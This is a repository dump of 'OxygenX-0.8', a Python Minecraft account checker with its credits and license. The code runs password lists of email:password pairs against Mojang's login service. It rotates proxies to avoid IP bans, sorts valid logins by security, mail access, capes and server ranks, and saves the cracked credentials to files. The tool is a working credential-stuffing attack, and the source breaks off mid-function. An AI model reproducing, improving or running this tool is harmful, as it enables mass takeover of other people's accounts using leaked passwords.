[
  {
    "path": "Credits.txt",
    "content": "Credits To\r\n\r\nMohanadHosny#9152, for helping me improve the speed and adding proxy/combo duplicate remover\r\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2019 ShadowOxygen\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "OxygenX-0.8.py",
    "content": "from concurrent.futures import ThreadPoolExecutor\r\nfrom datetime import datetime, timedelta, timezone\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\nfrom os import mkdir, path, system, name\r\nfrom random import choice\r\nfrom re import compile\r\nfrom threading import Thread, Lock\r\nfrom time import sleep, strftime, time, gmtime\r\nfrom traceback import format_exc\r\n\r\nfrom cloudscraper import create_scraper\r\nfrom colorama import init, Fore\r\nfrom console.utils import set_title\r\nfrom easygui import fileopenbox\r\nfrom requests import Session, exceptions\r\nfrom yaml import safe_load\r\n\r\ndefault_values = '''#       ________                                     ____  ___\r\n#       \\_____  \\ ___  ______.__. ____   ____   ____ \\   \\/  /\r\n#        /   |   \\\\\\  \\/  <   |  |/ ___\\_/ __ \\ /    \\ \\     /\r\n#       /    |    \\>    < \\___  / /_/  >  ___/|   |  \\/     \\\\\r\n#       \\_______  /__/\\_ \\/ ____\\___  / \\___  >___|  /___/\\  \\\\\r\n#               \\/      \\/\\/   /_____/      \\/     \\/      \\_/\r\n#\r\n#                   -Created and coded by ShadowOxygen\r\n#                   -Code cleaned and revised by MohanadHosny#9152\r\n#                   -Settings file for OxygenX-0.8\r\n\r\nOxygenX:\r\n\r\n  # Check if current version of OxygenX is latest\r\n  check_for_updates: true\r\n\r\n  # Amount of checks for a account many times to check a account. will be slower if retries is set higher\r\n  # Needs to be 1 or higher (Recommanded: 1-2 for paid proxies, 3-6 for public proxies.)\r\n  retries: 3\r\n\r\n  # Higher for better accuracy but slower (counted in milliseconds, example: 6000ms = 6 seconds)\r\n  timeout: 6000\r\n\r\n  # Threads for account checking\r\n  threads: 200\r\n  \r\n  # Remove all duplicates in combolist\r\n  combo_duplicates: true\r\n  \r\n  # Remove all duplicates in proxylist/api\r\n  proxy_duplicates: true\r\n  \r\n  # Check hits if its a mail access\r\n  mail_access: true\r\n  \r\n  # Save ranked accounts in NFA.txt or SFA.txt (Turn it off for ranked accounts NOT to save in NFA.txt or SFA.txt)\r\n  save_ranked_type: true\r\n  \r\n  # Print bad accounts\r\n  print_bad: true\r\n  \r\n  # Save bad accounts\r\n  save_bad: true\r\n\r\n  # Normal users should keep this false unless problem start happening\r\n  debugging: false\r\n  \r\n  \r\n  capes:\r\n    # Check capes\r\n    liquidbounce: true\r\n    optifine: true\r\n    labymod:  true\r\n    mojang:  true\r\n\r\n  rank:\r\n  # Set true if you want to check the ranks/level\r\n    mineplex: true\r\n    hypixel:  true\r\n    hivemc: true\r\n    veltpvp: true\r\n\r\n  level:\r\n    # Save High leveled accounts in files.\r\n    hypixel: true\r\n    mineplex: true\r\n    \r\n    # Minimum high level accounts\r\n    hypixel_level: 25\r\n    mineplex_level: 25\r\n\r\n  proxy:\r\n    # If proxies should be used, Will be proxyless if set to false (Recommended to use VPN if this is set to false.)\r\n    proxy: true\r\n    # Proxy types: https | socks4 | socks5\r\n    proxy_type: 'socks4'\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # Locks the proxy so other threads can't use it\r\n    lock_proxy: false\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # Auto remove proxies (you can limit the proxies removed with proxy_remove_limit)\r\n    remove_bad_proxy: false\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # If remove bad proxies are on, once the proxy list hits the limit it will stop removing bad proxies\r\n    proxy_remove_limit: 2000\r\n    # If proxies be used for checking sfas (Will be slower but if false, you may get ip banned)\r\n    proxy_for_sfa: false\r\n    # Sleep between checks if proxy mode is false (put 0 for no sleep) counted in secouds\r\n    sleep_proxyless: 30\r\n    \r\n    api:\r\n      # If proxy api link to be used.\r\n      use: false\r\n      # If proxy_use_api is true, put api link in the parentheses\r\n      api_link: \"https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=3000\"\r\n      # If proxy_use_api is true, put a number for seconds to refresh the link (every number under 30 is for no refreshing time, recommend refresh time: 300 seconds aka 5 minutes)\r\n      refresh_time: 300\r\n'''\r\n\r\nif path.exists('Settings.yml'):\r\n    settings = safe_load(open('Settings.yml', 'r', errors='ignore'))\r\nelse:\r\n    open('Settings.yml', 'w').write(default_values)\r\n    settings = safe_load(open('Settings.yml', 'r', errors='ignore'))\r\n\r\n\r\nclass Counter:\r\n    nfa = 0\r\n    error = 0\r\n    sfa = 0\r\n    unfa = 0\r\n    demo = 0\r\n    hits = 0\r\n    bad = 0\r\n    optifine = 0\r\n    mojang = 0\r\n    labymod = 0\r\n    liquidbounce = 0\r\n    special_name = 0\r\n    hivemcrank = 0\r\n    mineplexrank = 0\r\n    mineplexhl = 0\r\n    hypixelrank = 0\r\n    hypixelhl = 0\r\n    hivelevel = 0\r\n    mfa = 0\r\n    nohypixel = 0\r\n    nomineplex = 0\r\n    veltrank = 0\r\n    checked = 0\r\n    cpm = 0\r\n    legacy_name = 0\r\n\r\n\r\nclass Main:\r\n    def __init__(self):\r\n        self.stop_time = True\r\n        self.announcement = ''\r\n        self.start_time = 0\r\n        self.accounts = []\r\n        self.proxylist = []\r\n        self.folder = ''\r\n        self.unmigrated = False\r\n        if OxygenX.Cape.lb:\r\n            self.lbcape = str(self.liquidbounce())\r\n        print(t)\r\n        print(f'{red}[!] Please remember to configure your settings file before using OxygenX\\n')\r\n        print(f'{cyan}[Mode] Choose checker mode\\n'\r\n              '[>] 1 for Normal Mode\\n'\r\n              '[>] 2 for Unmigrated Mode')\r\n        mode = input('> ')\r\n        if mode == '2':\r\n            self.unmigrated = True\r\n        else:\r\n            pass\r\n            print('\\nSelected Normal Mode')\r\n        self.loadcombo()\r\n        self.loadproxy()\r\n        self.resultfolder()\r\n        print(f'\\n{cyan}Starting Threads...')\r\n        Thread(target=self.cpm_counter, daemon=True).start()\r\n        self.start_checker()\r\n        print(f'[{red}Exit{white}] You can now close OxygenX...\\n')\r\n        input()\r\n        exit()\r\n\r\n    def prep(self, line):\r\n        if ':' in line:\r\n            try:\r\n                email, password = line.split(':', 1)\r\n                original_line = line\r\n                original_email = email\r\n                if self.unmigrated:\r\n                    if '@' in email:\r\n                        email = email.split('@')[0]\r\n                        if not any(x in email for x in charz):\r\n                            line = f'{email}:{password}'\r\n                        else:\r\n                            Counter.checked += 1\r\n                            Counter.bad += 1\r\n                            self.prints(f'{red}[Badline] {blue}- {red}{line}')\r\n                            self.writing([line, 'Badline'])\r\n                            return\r\n                        reply = self.checkname(email)\r\n                        if not reply:\r\n                            Counter.checked += 1\r\n                            Counter.bad += 1\r\n                            if OxygenX.print_bad:\r\n                                self.prints(f'{red}[Bad] {blue}- {red}{line}')\r\n                            if OxygenX.save_bad:\r\n                                self.writing([line, 'Bad'])\r\n                            return\r\n                        else:\r\n                            Counter.legacy_name += 1\r\n                    else:\r\n                        pass\r\n                answer = self.checkmc(user=email, passw=password)\r\n                Counter.checked += 1\r\n                if 'Invalid credentials' in answer:\r\n                    Counter.bad += 1\r\n                    if OxygenX.print_bad:\r\n                        self.prints(f'{red}[Bad] {blue}- {red}{line}')\r\n                    if OxygenX.save_bad:\r\n                        self.writing([line, 'Bad'])\r\n                    return\r\n                texta = answer.text\r\n                if '[]' in texta:\r\n                    self.prints(f'{yellow}[Demo] {blue}- {yellow}{line}')\r\n                    Counter.demo += 1\r\n                    self.writing([line, 'Demo'])\r\n                    return\r\n                else:\r\n                    ajson = answer.json()\r\n                    uuid = ajson['availableProfiles'][0][\"id\"]\r\n                    username = ajson['availableProfiles'][0]['name']\r\n                    self.writing([line, 'Hits'])\r\n                    token = ajson['accessToken']\r\n                    dosfa = True\r\n                    sfa = False\r\n                    saveranked = True\r\n                    if self.unmigrated:\r\n                        data = ['=======================================\\n'\r\n                                f'Original Combo: {original_line}\\n'\r\n                                f'Unmigrated Combo: {line}\\n'\r\n                                f'Username: {username}\\n'\r\n                                f'UUID: {uuid}\\n'\r\n                                f'Email?: {original_email}\\n'\r\n                                f'Password: {password}']\r\n                    else:\r\n                        data = ['=======================================\\n'\r\n                                f'Original Combo: {line}\\n'\r\n                                f'Username: {username}\\n'\r\n                                f'UUID: {uuid}\\n'\r\n                                f'Email: {email}\\n'\r\n                                f'Password: {password}']\r\n\r\n                    if \"legacy': True\" in str(ajson) or (\r\n                            self.unmigrated and \"legacy': True\" in str(ajson)):\r\n                        Counter.unfa += 1\r\n                        self.prints(f'{magenta}[Unmigrated]{blue} - {green}{line}')\r\n                        self.writing([line, 'Unmigrated'])\r\n                        data.append('\\nUnmigrated: True')\r\n                        dosfa = False\r\n\r\n                    if dosfa or not self.unmigrated:\r\n                        securec = self.secure_check(token=token)\r\n                        if securec:\r\n                            Counter.sfa += 1\r\n                            self.prints(f'{cyan}[SFA]{blue} - {green}{line}{blue} | {green}Username: {username}')\r\n                            sfa = True\r\n                            data.append('\\nSFA: True')\r\n                        else:\r\n                            Counter.nfa += 1\r\n                            self.prints(f'{green}[NFA]{blue} - {green}{line}{blue} | {green}Username: {username}')\r\n                    Counter.hits += 1\r\n\r\n                    if len(username) <= 3 or any(x in username for x in charz):\r\n                        Counter.special_name += 1\r\n                        self.writing([f'{line} | Username: {username}', 'SpecialName'])\r\n                        data.append('\\nSpecial Name: True')\r\n\r\n                    with ThreadPoolExecutor(max_workers=9) as exe:\r\n                        hypixel = exe.submit(self.hypixel, uuid, line).result()\r\n                        mineplex = exe.submit(self.mineplex, username, line).result()\r\n                        hiverank = exe.submit(self.hivemc, uuid, line).result()\r\n                        mailaccess = exe.submit(self.mailaccess, original_line).result()\r\n                        veltrank = exe.submit(self.veltpvp, username, line).result()\r\n                        mojang = exe.submit(self.mojang, uuid, line, username).result()\r\n                        optifine = exe.submit(self.optifine, username, line).result()\r\n                        labycape = exe.submit(self.labymod, uuid, line, username).result()\r\n                        skyblock = exe.submit(self.skyblock, uuid).result()\r\n                    try:\r\n                        if mojang:\r\n                            data.append('\\nMojang Cape: True')\r\n\r\n                        if optifine:\r\n                            data.append('\\nOptifine Cape: True')\r\n\r\n                        if labycape:\r\n                            data.append('\\nLabymod Cape: True')\r\n\r\n                        if OxygenX.Cape.lb:\r\n                            if uuid in self.lbcape:\r\n                                Counter.liquidbounce += 1\r\n                                self.writing([f'{line} | Username: {username}', 'LiquidBounceCape'])\r\n                                data.append('\\nLiquidBounce Cape: True')\r\n\r\n                        if dosfa:\r\n                            if mailaccess:\r\n                                data.append('\\nMFA: True')\r\n\r\n                        if veltrank:\r\n                            if not OxygenX.ranktype:\r\n                                saveranked = False\r\n                            data.append(f'\\nVelt Rank: {veltrank}')\r\n\r\n                        if hiverank:\r\n                            data.append(f'\\nHive Rank: {str(hiverank)}')\r\n                            if not OxygenX.ranktype:\r\n                                saveranked = False\r\n\r\n                        if OxygenX.Rank.mineplex or OxygenX.Level.mineplex:\r\n                            if mineplex[0]:\r\n                                data.append(f'\\nMineplex Rank: {mineplex[0]}')\r\n                                if not OxygenX.ranktype:\r\n                                    saveranked = False\r\n                            if mineplex[1]:\r\n                                data.append(f'\\nMineplex Level: {str(mineplex[1])}')\r\n                            if not mineplex[0] and not mineplex[1]:\r\n                                data.append(f'\\nNo Mineplex Login: True')\r\n\r\n                        if OxygenX.Rank.hypixel or OxygenX.Level.hypixel:\r\n                            if not hypixel[2]:\r\n                                if str(hypixel[0]) not in ['None', 'False']:\r\n                                    if not OxygenX.ranktype:\r\n                                        saveranked = False\r\n                                    data.append(f'\\nHypixel Rank: {hypixel[0]}')\r\n                                if hypixel[1]:\r\n                                    data.append(f'\\nHypixel Level: {str(hypixel[1])}')\r\n                                if hypixel[3]:\r\n                                    data.append(f'\\nHypixel LastLogout Date: {hypixel[3]}')\r\n                                if hypixel[4] != 0:\r\n                                    data.append(f'\\nHypixel SkyWars Coins: {str(hypixel[4])}')\r\n                                if hypixel[5] != 0:\r\n                                    data.append(f'\\nHypixel BedWars Level: {str(hypixel[5])}')\r\n                                if hypixel[6] != 0:\r\n                                    data.append(f'\\nHypixel BedWars Coins: {str(hypixel[6])}')\r\n                                if skyblock:\r\n                                    data.append(f'\\nHypixel SkyBlock Stats: https://sky.lea.moe/stats/{uuid}')\r\n                            else:\r\n                                data.append(f'\\nNo Hypixel Login: True')\r\n                    except:\r\n                        if OxygenX.debug:\r\n                            self.prints(f'{red}[Error] {line} \\nRank/Cape Check Error: {format_exc(limit=1)}')\r\n                    if saveranked and dosfa:\r\n                        if sfa:\r\n                            self.writing([line, 'SFA'])\r\n                        else:\r\n                            self.writing([line, 'NFA'])\r\n\r\n                    self.writing([''.join(data), 'CaptureData'])\r\n                    return\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}[Error] {line} \\nError: {format_exc(limit=1)}')\r\n                self.writing([line, 'Error'])\r\n                Counter.error += 1\r\n                return\r\n        else:\r\n            Counter.checked += 1\r\n            Counter.bad += 1\r\n            self.prints(f'{red}[Badline] {line}')\r\n            self.writing([line, 'Badlines'])\r\n            return\r\n\r\n    def checkmc(self, user, passw, ):\r\n        payload = ({\r\n            'agent': {\r\n                'name': 'Minecraft',\r\n                'version': 1\r\n            },\r\n            'username': user,\r\n            'password': passw,\r\n            'requestUser': 'true'\r\n        })\r\n        bad = 'Invalid credentials'\r\n        retries = 0\r\n        if not OxygenX.Proxy.proxy:\r\n            while True:\r\n                if retries != OxygenX.retries:\r\n                    try:\r\n                        answer = session.post(url=auth_mc, json=payload, headers=jsonheaders,\r\n                                              timeout=OxygenX.timeout)\r\n                        if bad in answer.text:\r\n                            retries += 1\r\n                            sleep(OxygenX.Proxy.sleep)\r\n                            continue\r\n                        elif 'Client sent too many requests too fast.' in answer.text:\r\n                            sleep(5)\r\n                            continue\r\n                        else:\r\n                            return answer\r\n                    except:\r\n                        if OxygenX.debug:\r\n                            self.prints(f'CheckMC ProxyLess: \\n{format_exc(limit=1)}')\r\n                        continue\r\n                else:\r\n                    return bad\r\n        else:\r\n            while True:\r\n                if retries != OxygenX.retries:\r\n                    proxy_form = {}\r\n                    proxy = choice(self.proxylist)\r\n                    if proxy.count(':') == 3:\r\n                        spl = proxy.split(':')\r\n                        proxy = f'{spl[2]}:{spl[3]}@{spl[0]}:{spl[1]}'\r\n                    else:\r\n                        proxy = proxy\r\n                    locked = OxygenX.Proxy.lock_proxy\r\n                    if proxy in ['', '\\n']:\r\n                        try:\r\n                            self.proxylist.remove(proxy)\r\n                            continue\r\n                        except:\r\n                            pass\r\n                    if locked:\r\n                        try:\r\n                            self.proxylist.remove(proxy)\r\n                        except:\r\n                            locked = False\r\n                    if OxygenX.Proxy.type in ['https', 'http']:\r\n                        proxy_form = {'http': f\"http://{proxy}\", 'https': f\"https://{proxy}\"}\r\n                    elif OxygenX.Proxy.type in ['socks4', 'socks5']:\r\n                        line = f\"{OxygenX.Proxy.type}://{proxy}\"\r\n                        proxy_form = {'http': line, 'https': line}\r\n                    try:\r\n                        answer = scraper.post(url=auth_mc, proxies=proxy_form, json=payload, headers=jsonheaders,\r\n                                              timeout=OxygenX.timeout)\r\n                        if locked:\r\n                            self.proxylist.append(proxy)\r\n                        if bad in answer.text:\r\n                            retries += 1\r\n                            continue\r\n                        elif answer.headers.get(\"Content-Type\").__contains__(\"html\"):\r\n                            if OxygenX.Proxy.remove_bad_proxy and len(\r\n                                    self.proxylist) >= OxygenX.Proxy.proxy_remove_limit:\r\n                                if not locked:\r\n                                    try:\r\n                                        self.proxylist.remove(proxy)\r\n                                    except:\r\n                                        pass\r\n                            continue\r\n                        else:\r\n                            return answer\r\n                    except exceptions.RequestException:\r\n                        if OxygenX.Proxy.remove_bad_proxy and len(self.proxylist) >= OxygenX.Proxy.proxy_remove_limit:\r\n                            if not locked:\r\n                                try:\r\n                                    self.proxylist.remove(proxy)\r\n                                except:\r\n                                    pass\r\n                        elif locked:\r\n                            self.proxylist.append(proxy)\r\n                    except:\r\n                        if locked:\r\n                            self.proxylist.append(proxy)\r\n                        if OxygenX.debug:\r\n                            self.prints(f'CheckMC: \\n{format_exc(limit=1)}')\r\n                        continue\r\n                else:\r\n                    return bad\r\n\r\n    def secure_check(self, token):\r\n        headers = {'Pragma': 'no-cache', \"Authorization\": f\"Bearer {token}\"}\r\n        try:\r\n            if not OxygenX.Proxy.proxy or not OxygenX.Proxy.sfa_proxy:\r\n                try:\r\n                    z = session.get(url=sfa_url, headers=headers).text\r\n                    if z == '[]':\r\n                        return True\r\n                    else:\r\n                        return False\r\n                except:\r\n                    if OxygenX.debug:\r\n                        self.prints(f'ErrorSFA ProxyLess: \\n{format_exc(limit=1)}')\r\n                    return False\r\n            else:\r\n                while True:\r\n                    proxy_form = {}\r\n                    proxy = choice(self.proxylist)\r\n                    if proxy.count(':') == 3:\r\n                        spl = proxy.split(':')\r\n                        proxy = f'{spl[2]}:{spl[3]}@{spl[0]}:{spl[1]}'\r\n                    else:\r\n                        proxy = proxy\r\n                    if proxy in ['', '\\n']:\r\n                        try:\r\n                            self.proxylist.remove(proxy)\r\n                            continue\r\n                        except:\r\n                            pass\r\n                    if OxygenX.Proxy.type == 'http' or OxygenX.Proxy.type == 'https':\r\n                        proxy_form = {'http': f\"http://{proxy}\", 'https': f\"https://{proxy}\"}\r\n                    elif OxygenX.Proxy.type == 'socks4' or OxygenX.Proxy.type == 'socks5':\r\n                        line = f\"{OxygenX.Proxy.type}://{proxy}\"\r\n                        proxy_form = {'http': line, 'https': line}\r\n                    try:\r\n                        resp = session.get(url=sfa_url, headers=headers, proxies=proxy_form).text\r\n                        if 'request blocked' in resp.lower():\r\n                            continue\r\n                        elif resp == '[]':\r\n                            return True\r\n                        else:\r\n                            return False\r\n                    except exceptions.RequestException:\r\n                        if OxygenX.Proxy.remove_bad_proxy and len(self.proxylist) >= OxygenX.Proxy.proxy_remove_limit:\r\n                            try:\r\n                                self.proxylist.remove(proxy)\r\n                            except:\r\n                                pass\r\n                        continue\r\n        except:\r\n            if OxygenX.debug:\r\n                self.prints(f'Error SFA: \\n{format_exc(limit=1)}')\r\n            return False\r\n\r\n    def checkname(self, username):\r\n        try:\r\n            if OxygenX.Proxy.proxy:\r\n                while True:\r\n                    proxy_form = {}\r\n                    proxy = choice(self.proxylist)\r\n                    if proxy.count(':') == 3:\r\n                        spl = proxy.split(':')\r\n                        proxy = f'{spl[2]}:{spl[3]}@{spl[0]}:{spl[1]}'\r\n                    else:\r\n                        proxy = proxy\r\n                    if OxygenX.Proxy.type == 'http' or OxygenX.Proxy.type == 'https':\r\n                        proxy_form = {'http': f\"http://{proxy}\", 'https': f\"https://{proxy}\"}\r\n                    elif OxygenX.Proxy.type == 'socks4' or OxygenX.Proxy.type == 'socks5':\r\n                        line = f\"{OxygenX.Proxy.type}://{proxy}\"\r\n                        proxy_form = {'http': line, 'https': line}\r\n                    try:\r\n                        answer = scraper.post(url=user_url, json=[username], proxies=proxy_form, headers=mailheaders,\r\n                                              timeout=OxygenX.timeout).text\r\n                        if 'The request could not be satisfied' in answer:\r\n                            continue\r\n                        elif 'legacy\":true' in answer:\r\n                            return True\r\n                        else:\r\n                            return False\r\n                    except exceptions.RequestException:\r\n                        if OxygenX.Proxy.remove_bad_proxy and len(self.proxylist) >= OxygenX.Proxy.proxy_remove_limit:\r\n                            try:\r\n                                self.proxylist.remove(proxy)\r\n                            except:\r\n                                pass\r\n                        continue\r\n            else:\r\n                try:\r\n                    sleep(OxygenX.Proxy.sleep)\r\n                    answer = scraper.post(url=user_url, json=[username], headers=mailheaders,\r\n                                          timeout=OxygenX.timeout).text\r\n                    if 'legacy\":true' in answer:\r\n                        return True\r\n                    else:\r\n                        return False\r\n                except:\r\n                    if OxygenX.debug:\r\n                        self.prints(f'{red}[Error Check] {format_exc(limit=1)}')\r\n                    return False\r\n        except:\r\n            if OxygenX.debug:\r\n                self.prints(f'{red}[Error Check] {format_exc(limit=1)}')\r\n            return False\r\n\r\n    def title(self):\r\n        while self.stop_time:\r\n            if not self.unmigrated:\r\n                set_title(\r\n                    f\"OxygenX-{version}\"\r\n                    f\" | Hits: {Counter.hits}\"\r\n                    f\" - Bad: {Counter.bad}\"\r\n                    f'{\"\" if Counter.nfa == 0 else f\" - NFA: {Counter.nfa}\"}'\r\n                    f'{\"\" if Counter.sfa == 0 else f\" - SFA: {Counter.sfa}\"}'\r\n                    f'{\"\" if Counter.unfa == 0 else f\" - Unmigrated: {Counter.unfa}\"}'\r\n                    f'{\"\" if Counter.demo == 0 else f\" - Demo: {Counter.demo}\"}'\r\n                    f\"{'' if Counter.mfa == 0 else f' - MFA: {Counter.mfa}'}\"\r\n                    f\"{'' if Counter.error == 0 else f' | Errors: {Counter.error}'}\"\r\n                    f\" | Left: {len(self.accounts) - Counter.checked}/{len(self.accounts)}\"\r\n                    f'{\"\" if not OxygenX.Proxy.proxy else f\" - Proxies: {len(self.proxylist)}\"}'\r\n                    f' | CPM: {Counter.cpm}'\r\n                    f' | {self.now_time()} Elapsed')\r\n            else:\r\n                set_title(\r\n                    f\"OxygenX-{version} | \"\r\n                    f\"Hits: {Counter.hits}\"\r\n                    f\" - Bad: {Counter.bad}\"\r\n                    f'{\"\" if Counter.legacy_name == 0 else f\" - Legacy Lines: {Counter.legacy_name}\"}'\r\n                    f'{\"\" if Counter.unfa == 0 else f\" - Unmigrated: {Counter.unfa}\"}'\r\n                    f\"{'' if Counter.error == 0 else f' | Errors: {Counter.error}'}\"\r\n                    f\" | Left: {len(self.accounts) - Counter.checked}/{len(self.accounts)}\"\r\n                    f'{\"\" if not OxygenX.Proxy.proxy else f\" - Proxies: {len(self.proxylist)}\"}'\r\n                    f' | CPM: {Counter.cpm}'\r\n                    f' | {self.now_time()} Elapsed | Unmigrated Checker')\r\n\r\n    def prints(self, line):\r\n        lock.acquire()\r\n        print(f'{blue}{self.now_time()} {line}')\r\n        lock.release()\r\n\r\n    def writing(self, line):\r\n        lock.acquire()\r\n        open(f'{self.folder}/{line[1]}.txt', 'a', encoding='u8').write(f'{line[0]}\\n')\r\n        lock.release()\r\n\r\n    def optifine(self, user, combo):\r\n        cape = False\r\n        if OxygenX.Cape.optifine:\r\n            try:\r\n                optifine = session.get(url=f'http://s.optifine.net/capes/{user}.png').text\r\n                if 'Not found' not in optifine:\r\n                    cape = True\r\n                    Counter.optifine += 1\r\n                    self.writing([f'{combo} | Username: {user}', 'OptifineCape'])\r\n                return cape\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error Optifine:\\n{format_exc(limit=1)}')\r\n        return cape\r\n\r\n    def mojang(self, uuid, combo, user):\r\n        cape = False\r\n        if OxygenX.Cape.mojang:\r\n            try:\r\n                mine = session.get(url=f'https://crafatar.com/capes/{uuid}', headers=mailheaders).text.lower()\r\n                if 'png' in mine:\r\n                    cape = True\r\n                    Counter.mojang += 1\r\n                    self.writing([f'{combo} | Username: {user}', 'MojangCape'])\r\n                return cape\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error MojangCape:\\n{format_exc(limit=1)}')\r\n        return cape\r\n\r\n    def labymod(self, uuid, combo, user):\r\n        cape = False\r\n        if OxygenX.Cape.laby:\r\n            link = f'https://capes.labymod.net/capes/{uuid[:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:20]}-{uuid[20:]}'\r\n            try:\r\n                laby = session.get(url=link, headers=mailheaders).text\r\n                if 'Not Found' not in laby:\r\n                    cape = True\r\n                    Counter.labymod += 1\r\n                    self.writing([f'{combo} | Username: {user}', 'LabymodCape'])\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error Labymod:\\n{format_exc(limit=1)}')\r\n        return cape\r\n\r\n    def liquidbounce(self):\r\n        try:\r\n            lbc = session.get(\r\n                url='https://raw.githubusercontent.com/CCBlueX/FileCloud/master/LiquidBounce/cape/service.json',\r\n                headers=mailheaders).text\r\n            return lbc\r\n        except:\r\n            if OxygenX.debug:\r\n                self.prints(f'{red}Error LiquidBounce:\\n{format_exc(limit=1)}')\r\n            return False\r\n\r\n    def hivemc(self, uuid, combo):\r\n        rank = False\r\n        if OxygenX.Rank.hivemc:\r\n            try:\r\n                response = session.get(url=f'https://www.hivemc.com/player/{uuid}', headers=mailheaders).text\r\n                match = rankhv.search(response).group(1)\r\n                if match != 'Regular':\r\n                    rank = match\r\n            except AttributeError:\r\n                rank = False\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error HiveMC:\\n{format_exc(limit=1)}')\r\n            if rank:\r\n                self.writing([f'{combo} | Rank: {str(rank)}', 'HiveRanked'])\r\n                Counter.hivemcrank += 1\r\n            return rank\r\n\r\n    def mineplex(self, username, combo):\r\n        both = [False, False]\r\n        if OxygenX.Rank.mineplex or OxygenX.Level.mineplex:\r\n            try:\r\n                response = session.get(url=f'https://www.mineplex.com/players/{username}',\r\n                                       headers=mailheaders).text\r\n                if 'That player cannot be found.' in response:\r\n                    both[0] = False\r\n                    both[1] = False\r\n                else:\r\n                    both[0] = str(rankmp.search(response).group(1))\r\n                    both[1] = int(levelmp.search(response).group(1))\r\n                    if both[0].lower() == '':\r\n                        both[0] = False\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error Mineplex:\\n{format_exc(limit=1)}')\r\n            if both[0]:\r\n                Counter.mineplexrank += 1\r\n                self.writing([f'{combo} | Rank: {both[0]}', 'MineplexRanked'])\r\n            if both[1] and OxygenX.Rank.mineplex:\r\n                if both[1] >= OxygenX.Level.mineplex_level:\r\n                    Counter.mineplexhl += 1\r\n                    self.writing([f'{combo} | Level: {str(both[1])}', 'MineplexHighLevel'])\r\n            if not both[0] and not both[1]:\r\n                Counter.nomineplex += 1\r\n                self.writing([combo, 'NoMineplexLogin'])\r\n        return both\r\n\r\n    def hypixel(self, uuid, combo):\r\n        both = [False, False, False, False, 0, 0, 0]\r\n        if OxygenX.Rank.hypixel or OxygenX.Level.hypixel:\r\n            try:\r\n                answer = session.get(url=f'https://api.slothpixel.me/api/players/{uuid}',\r\n                                     headers=mailheaders).json()\r\n                if 'Failed to get player uuid' not in str(answer):\r\n                    rank = str(answer['rank'])\r\n                    if '_PLUS' in rank:\r\n                        rank = rank.replace('_PLUS', '+')\r\n                    level = int(answer[\"level\"])\r\n                    nolog = str(answer['username'])\r\n                    bedwars_level = int(answer['stats']['BedWars']['level'])\r\n                    bedwars_coins = int(answer['stats']['BedWars']['coins'])\r\n                    skywars_coins = int(answer['stats']['SkyWars']['coins'])\r\n                    if nolog == 'None':\r\n                        both[2] = True\r\n                    else:\r\n                        both[0] = str(rank)\r\n                        both[1] = int(round(level))\r\n                        both[3] = str(datetime(1970, 1, 1, tzinfo=timezone.utc) + timedelta(\r\n                            milliseconds=int(answer['last_login']))).split(' ')[0]\r\n                        both[4] = skywars_coins\r\n                        both[5] = bedwars_level\r\n                        both[6] = bedwars_coins\r\n                else:\r\n                    both[2] = True\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Slothpixel API Error: \\n{format_exc(limit=1)}')\r\n            if not both[2]:\r\n                if str(both[0]) not in ['None', 'False']:\r\n                    Counter.hypixelrank += 1\r\n                    self.writing([f'{combo} | Rank: {both[0]}', 'HypixelRanked'])\r\n                if both[1] >= OxygenX.Level.hypixel_level:\r\n                    Counter.hypixelhl += 1\r\n                    self.writing([f'{combo} | Level: {str(both[1])}', 'HypixelHighLevel'])\r\n            else:\r\n                Counter.nohypixel += 1\r\n                self.writing([combo, 'NoHypixelLogin'])\r\n        return both\r\n\r\n    def skyblock(self, uuid):\r\n        try:\r\n            link = f'https://sky.lea.moe/stats/{uuid}'\r\n            check = session.get(url=link).text\r\n            if 'Show SkyBlock stats for' in check:\r\n                return False\r\n            else:\r\n                return link\r\n        except:\r\n            if OxygenX.debug:\r\n                self.prints(f'{red}Error SkyBlock \\n{format_exc(limit=1)}')\r\n            return False\r\n\r\n    def veltpvp(self, username, combo):\r\n        rank = False\r\n        if OxygenX.Rank.veltpvp:\r\n            try:\r\n                link = session.get(url=f'https://www.veltpvp.com/u/{username}', headers=mailheaders).text\r\n                if 'Not Found' not in link:\r\n                    rank = veltrankz.search(link).group(1)\r\n                    if rank not in ['Default', 'Standard']:\r\n                        rank = rank\r\n                    else:\r\n                        rank = False\r\n            except AttributeError:\r\n                rank = False\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error Veltpvp:\\n{format_exc(limit=1)}')\r\n            if rank:\r\n                self.writing([f'{combo} | Rank: {rank}', 'VeltRanked'])\r\n                Counter.veltrank += 1\r\n        return rank\r\n\r\n    def mailaccess(self, 